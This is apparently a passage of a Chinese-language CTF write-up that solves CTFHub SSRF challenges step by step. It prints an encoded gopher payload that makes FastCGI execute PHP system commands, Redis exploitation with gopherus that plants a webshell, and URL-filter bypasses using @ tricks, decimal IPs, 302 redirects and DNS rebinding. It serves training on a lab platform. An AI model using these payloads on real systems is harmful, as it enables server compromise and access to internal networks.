1 | %2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2f%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2f1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2f%2finput%250F%2517SCRIPT_FILENAME%2fvar%2fwww%2fhtml%2findex.php%250D%2501DOCUMENT_ROOT%2f%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500 |
Redis协议:
1 | 这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找! |
这一道题依然可以用gopherus工具:
1 | python2 gopherus.py --exploit redis |
这里写入代码还是写入一句话木马吧,我尝试了<?php system(‘cat /f*’); ?>似乎不会回显flag
然后我们可以使用蚁剑连接了:
最后能在根目录下找到flag
从其他文章中看到了这些内容:
1 | Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 |
URL Bypass:
1 | 请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧 |
根据前面学习的绕过手法,可以使用@绕过:
1 | http://challenge-d9c668c92afb0b2b.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php |
数字IP Bypass:
1 | 这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢 |
前面学了很多绕过127.0.0.1的,随便挑一个不包含127,172,@,.来用就行:
1 | http://challenge-9d998ea99bded3ea.sandbox.ctfhub.com:10800/?url=http://2130706433/flag.php |
这里我采用的进制转换
302跳转 Bypass:
1 | SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧 |
如果我们想要自己搭建一个重定向网站呢?
1 | //shell.php |
我们需要将这个php放在公网上,拼接到url访问,就能实现302跳转
1 | payload:?url=http://[公网IP]/shell.php |
DNS重绑定 Bypass:
1 | 关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助 |
附件地址:浅谈DNS重绑定漏洞 - 知乎
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。
要完成DNS重绑定,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行了,完整的攻击流程为:
- 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
- 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
- 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
- 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
需要用到的网址:rbndr.us dns rebinding service
这个网站会随机指向两个绑定地址的其中一个,由于127段是回环地址,将AB设置成127.0.0.1和127.0.0.2,每一个都能访问localhost
IP会在A、B两个之间反复切换。我们知道,127.201.205.254=127.0.0.1 //127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost,所以A和B都能进内网。
所以我们的payload为:
1 | http://challenge-aca6454dc93fb620.sandbox.ctfhub.com:10800/?url=http://7f000001.7f000002.rbndr.us/flag.php |

